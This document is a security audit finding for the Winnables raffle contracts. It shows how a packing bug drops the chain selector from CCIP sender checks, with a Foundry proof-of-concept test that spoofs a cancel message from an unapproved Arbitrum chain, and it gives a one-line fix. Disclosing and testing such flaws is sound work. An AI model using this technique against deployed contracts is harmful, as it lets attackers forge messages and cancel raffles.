Cheesy Chambray Trout

High

# The _setCCIPCounterpart Function Is Not Properly Implemented

## Summary
The implementation of the _packCCIPContract(address contractAddress, uint64 chainSelector) function is incorrect, as it does not account for the chainSelector parameter.

## Vulnerability Detail
The implementation of the function intended to restrict the source of messages processed by CCIP to a specific address and chainSelector does not properly consider the chainSelector. 
A WinnableTicketManager contract created on Arbritrum, but with the same address, could send a message to the WinnablePrizeManager on Ethereum once the WinnableTicketManager on AVAX was approved as a counterpart CCIP contract of the WinnablePrizeManager.

## Impact
A hacker could wait for the admin to deploy a new WinnableTicketManager contract on another chain (Arbritrum).
Even if this contract, hosted on Arbritrum, is not approved as a counterpart to the WinnablePrizeManager, it could still send CCIP messages (like canceling or selecting a winner) to the WinnablePrizeManager as long as it has the same address. 
This could happen frequently since contracts are generally deployed on different chains with the same address. This is even more likely if the contracts are deployed using a DAO.

## Code Snippet

https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40

## Code Snippet
The project should be configured to use foundry forge to run the forge build and forge test commands

Create the base test class BaseTest.sol

```javascript
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

import {WinnablesPrizeManager} from "../src/WinnablesPrizeManager.sol";
import {Test} from "forge-std/Test.sol";
import {WinnablesTicket} from "../src/WinnablesTicket.sol";
import {WinnablesTicketManager} from "../src/WinnablesTicketManager.sol";
//import {MockLink} from "../src/mock/MockLink.sol";
import {VRFCoordinatorV2BetterMock} from "../src/mock/VRFCoordinatorV2BetterMock.sol";
import {DemoNFT} from "../src/mock/DemoNFT.sol";
import {DemoToken} from "../src/mock/MockToken.sol";
import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
import {IMockLink} from "../src/interfaces/IMockLink.sol";

contract BaseTest is Test {
    //initialize variables of LinkToken and CCIPRouter with address on Sepolia and Avax testnet
    address linkTokenETH = 0x779877A7B0D9E8603169DdbD7836e478b4624789;
    address linkTokenAVX = 0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846;

    address ccipRouterETH = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59;
    address ccipRouterAVX = 0xF694E193200268f9a4868e4Aa017A0118C9a8177;

    // Ethereum chain selector
    uint64 chainSlectorEth = 16015286601757825753;
    // Avalanche chain selector
    uint64 chainSlectorAvax = 14767482510784806043;

    //Arbritrum chain selector
    uint64 chainSlectorArbitrum = 3478487238524512106;

    //Chainlink VRF con fig
    address vrfCoordinator;
    uint64 subscriptionId;
    bytes32 keyHash;

    // 3 contracts of the protocol
    WinnablesTicket tickets;
    WinnablesTicketManager ticketManager;
    WinnablesPrizeManager prizeManager;

    // User of the application
    address admin = address(0xabc0);
    address user1 = address(0xabc1);
    address user2 = address(0xabc2);
    address user3 = address(0xabc3);
    address user4 = address(0xabc4);
    address user5 = address(0xabc5);

    // NFT and Token contracts
    DemoNFT nft1;
    DemoToken token1;
    DemoNFT nft2;
    DemoToken token2;
    DemoNFT nft3;
    DemoToken token3;

    // LINK and CCIPRouter contracts
    IMockLink linkTokenETHContract;
    IMockLink linkTokenAVXContract;

    IRouterClient ccipRouterETHContract;
    IRouterClient ccipRouterAVXContract;

    VRFCoordinatorV2BetterMock vrfCoordinatorContract;

    function setUp() public virtual {
        //Instantiate and deploy the contracts LinkToken and CCIPRouter
        linkTokenETH = deployCode("MockLink.sol", "");
        linkTokenETHContract = IMockLink(linkTokenETH);
        linkTokenAVX = deployCode("MockLink.sol", "");
        linkTokenAVXContract = IMockLink(linkTokenAVX);

        ccipRouterETH = deployCode("MockCCIPRouter.sol", abi.encode(linkTokenETH));
        ccipRouterETHContract = IRouterClient(ccipRouterETH);
        ccipRouterAVX = deployCode("MockCCIPRouter.sol", abi.encode(linkTokenAVX));
        ccipRouterAVXContract = IRouterClient(ccipRouterAVX);

        uint96 baseFee = 0.25 ether;
        uint96 gasPriceLink = 1e9;

        // DEPLOY VRF COORDINATOR
        vrfCoordinator = deployCode("VRFCoordinatorV2BetterMock.sol", abi.encode(linkTokenETH, baseFee, gasPriceLink));
        subscriptionId = 16015286601757825753; //;
        keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;

        vm.startPrank(admin);
        address prizeManagerAddress = deployCode("WinnablesPrizeManager.sol", abi.encode(linkTokenETH, ccipRouterETH));
        prizeManager = WinnablesPrizeManager(prizeManagerAddress);

        address ticketsAddress = deployCode("WinnablesTicket.sol", "");
        tickets = WinnablesTicket(ticketsAddress);

        address ticketManagerAddress = deployCode(
            "WinnablesTicketManager.sol",
            abi.encode(linkTokenAVX, vrfCoordinator, subscriptionId, keyHash, ticketsAddress, ccipRouterAVX)
        );

        ticketManager = WinnablesTicketManager(ticketManagerAddress);

        vm.stopPrank();

        prizeManager = WinnablesPrizeManager(prizeManagerAddress);
        tickets = WinnablesTicket(ticketsAddress);
        ticketManager = WinnablesTicketManager(ticketManagerAddress);

        // Set counterpart 
        vm.startPrank(admin);
        prizeManager.setCCIPCounterpart(address(ticketManager), chainSlectorAvax, true);
        ticketManager.setCCIPCounterpart(address(prizeManager), chainSlectorEth, true);

        //Create Token and NFT
        nft1 = new DemoNFT();
        token1 = new DemoToken();
        nft2 = new DemoNFT();
        token2 = new DemoToken();
        nft3 = new DemoNFT();
        token3 = new DemoToken();
        vm.stopPrank();
    }
}
```

Create the WinnablesPrizeManagerTest.t.sol class to receive CCIP message from 2 different chain
```javascript
/ SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

import {WinnablesPrizeManager} from "../src/WinnablesPrizeManager.sol";
import {Test, console} from "forge-std/Test.sol";
import {WinnablesTicket} from "../src/WinnablesTicket.sol";
import {WinnablesTicketManager} from "../src/WinnablesTicketManager.sol";
//import {MockLink} from "../src/mock/MockLink.sol";
import {VRFCoordinatorV2BetterMock} from "../src/mock/VRFCoordinatorV2BetterMock.sol";
import {BaseTest} from "./BaseTest.sol";
import {IWinnablesPrizeManager} from "../src/interfaces/IWinnablesPrizeManager.sol";
import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";

enum CCIPMessageType {
    RAFFLE_CANCELED,
    WINNER_DRAWN
}

contract WinnablesPrizeManagerTest is BaseTest {
    function setUp() public override {
        super.setUp();
    }
    function test_send_ccip_message_chainselector() public {
        //0 - only address(ticketManager) and chainSlectorAvax was approved as counterpart (see BaseTest)

        //1 - admin min 2 NFT and send to prizeManager
        vm.prank(admin);
        nft1.mint(address(prizeManager));

        vm.prank(admin);
        nft1.mint(address(prizeManager));

        //2 - admin mint link and send to prizeManager
        vm.prank(admin);
        linkTokenETHContract.mint(address(prizeManager), 100 ether);

        //3 - lock NFT
        vm.prank(admin);
        prizeManager.lockNFT(address(ticketManager), chainSlectorAvax, 1, address(nft1), 1);

        vm.prank(admin);
        prizeManager.lockNFT(address(ticketManager), chainSlectorAvax, 2, address(nft1), 2);

        //4 - check information of the  2 raffles
        IWinnablesPrizeManager.NFTInfo memory nftInfo = prizeManager.getNFTRaffle(1);
        assertEq(nftInfo.contractAddress, address(nft1));
        assertEq(nftInfo.tokenId, 1);

        IWinnablesPrizeManager.NFTInfo memory nftInfo2 = prizeManager.getNFTRaffle(1);
        assertEq(nftInfo2.contractAddress, address(nft1));
        assertEq(nftInfo2.tokenId, 1);

        //5 - create a message to cancel the raffle from Avax chainselector
        Client.Any2EVMMessage memory messageAvax = Client.Any2EVMMessage({
            messageId: bytes32(0),
            sourceChainSelector: chainSlectorAvax, //AVAX chainselector
            sender: abi.encode(address(ticketManager)),
            data: abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), uint256(1)),
            destTokenAmounts: new Client.EVMTokenAmount[](0)
        });

        //56 - create a message to cancel the raffle from Avax chainselector
        Client.Any2EVMMessage memory messageAbr = Client.Any2EVMMessage({
            messageId: bytes32(0),
            sourceChainSelector: chainSlectorArbitrum, //Arbritrum Chainselector
            sender: abi.encode(address(ticketManager)),
            data: abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), uint256(2)),
            destTokenAmounts: new Client.EVMTokenAmount[](0)
        });

        //7 - send the message to the prizeManager to cancel the raffle from Avax chainselector
        vm.prank(ccipRouterETH);
        prizeManager.ccipReceive(messageAvax);

        //7 - send the message to the prizeManager to cancel the raffle from Arbritrum chainselector
        //and it should revert as chainSlectorArbitrum is not approved as counterpart
        vm.prank(ccipRouterETH);
        prizeManager.ccipReceive(messageAbr);
    }
}
```

Then run the command

```shell
forge test --mt test_send_ccip_message_chainselector -v
```

You'll see that the command does not revert as expected and pass even Arbritrum Slector was approved with this contract address

```shell
Ran 1 test for test/WinnablesPrizeManagerTest.t.sol:WinnablesPrizeManagerTest
[PASS] test_send_ccip_message_chainselector() (gas: 415930)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.68ms (2.35ms CPU time)

Ran 1 test suite in 167.73ms (10.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Tool used

Manual Review and foundry 

## Recommendation

to fix the problem replace the function _packCCIPContract(address contractAddress, uint64 chainSelector) with 
```diff
    function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns (bytes32) {
-            return bytes32(uint256(uint160(contractAddress)) | uint256(chainSelector << 160)); 
+            return bytes32((uint256(chainSelector) << 160) | uint256(uint160(contractAddress)));
    }
```